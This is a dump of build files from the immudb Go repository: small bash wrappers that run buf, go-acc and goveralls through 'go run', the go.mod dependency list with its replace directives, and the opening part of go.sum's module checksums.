ext-tools/buf ================================================ #!/usr/bin/env bash go run github.com/bufbuild/buf/cmd/buf@v1.8.0 "${@}" ================================================ FILE: ext-tools/go-acc ================================================ #!/usr/bin/env bash go run github.com/ory/go-acc "$@" ================================================ FILE: ext-tools/goveralls ================================================ #!/usr/bin/env bash go run github.com/mattn/goveralls "$@" ================================================ FILE: go.mod ================================================ module github.com/codenotary/immudb go 1.24.0 require ( github.com/fatih/color v1.13.0 github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 github.com/golang/protobuf v1.5.4 github.com/google/uuid v1.4.0 github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 github.com/influxdata/influxdb-client-go/v2 v2.13.0 github.com/jackc/pgx/v4 v4.18.2 github.com/jaswdr/faker v1.16.0 github.com/lib/pq v1.10.9 github.com/mattn/goveralls v0.0.11 github.com/o1egl/paseto v1.0.0 github.com/olekukonko/tablewriter v0.0.5 github.com/ory/go-acc v0.2.8 github.com/peterh/liner v1.2.1 github.com/prometheus/client_golang v1.12.2 github.com/prometheus/client_model v0.2.0 github.com/prometheus/common v0.32.1 github.com/prometheus/procfs v0.7.3 github.com/pseudomuto/protoc-gen-doc v1.4.1 github.com/rogpeppe/go-internal v1.9.0 github.com/rs/xid v1.5.0 github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.6.1 github.com/spf13/pflag v1.0.5 github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.4 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.48.0 golang.org/x/net v0.50.0 golang.org/x/sys v0.41.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d google.golang.org/grpc v1.57.1 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.36.6 ) require ( github.com/Masterminds/goutils v1.1.1 // indirect github.com/Masterminds/semver v1.5.0 // indirect github.com/Masterminds/sprig v2.22.0+incompatible // indirect github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da // indirect github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 // indirect github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 // indirect github.com/apapsch/go-jsonmerge/v2 v2.0.0 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash v1.1.0 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect github.com/cpuguy83/go-md2man/v2 v2.0.2 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect github.com/envoyproxy/protoc-gen-validate v0.10.1 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect github.com/golang/glog v1.2.4 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect github.com/inconshreveable/mousetrap v1.0.1 // indirect github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 // indirect github.com/jackc/chunkreader/v2 v2.0.1 // indirect github.com/jackc/pgconn v1.14.3 // indirect github.com/jackc/pgio v1.0.0 // indirect github.com/jackc/pgpassfile v1.0.0 // indirect github.com/jackc/pgproto3/v2 v2.3.3 // indirect github.com/jackc/pgservicefile v0.0.0-20221227161230-091c0ba34f0a // indirect github.com/jackc/pgtype v1.14.0 // indirect github.com/magiconair/properties v1.8.7 // indirect github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect github.com/matttproud/golang_protobuf_extensions v1.0.1 // indirect github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/go-wordwrap v1.0.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 // indirect github.com/nsf/termbox-go v1.1.1 // indirect github.com/oapi-codegen/runtime v1.0.0 // indirect github.com/ory/viper v1.7.5 // indirect github.com/pborman/uuid v1.2.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect github.com/pelletier/go-toml/v2 v2.0.9 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/pseudomuto/protokit v0.2.1 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect github.com/spf13/afero v1.9.3 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.32.0 // indirect golang.org/x/term v0.40.0 // indirect golang.org/x/text v0.34.0 // indirect golang.org/x/tools v0.41.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) replace github.com/takama/daemon v0.12.0 => github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 replace github.com/spf13/afero => github.com/spf13/afero v1.5.1 ================================================ FILE: go.sum ================================================ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww= github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Masterminds/sprig v2.22.0+incompatible h1:z4yfnGrZ7netVz+0EDJ0Wi+5VZCSYp4Z0m2dk6cEM60= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/glog v1.2.4 h1:CNNw5U8lSiiBk7druxtSHHTsRWcxKoac6kZKm2peBBc= github.com/golang/glog v1.2.4/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 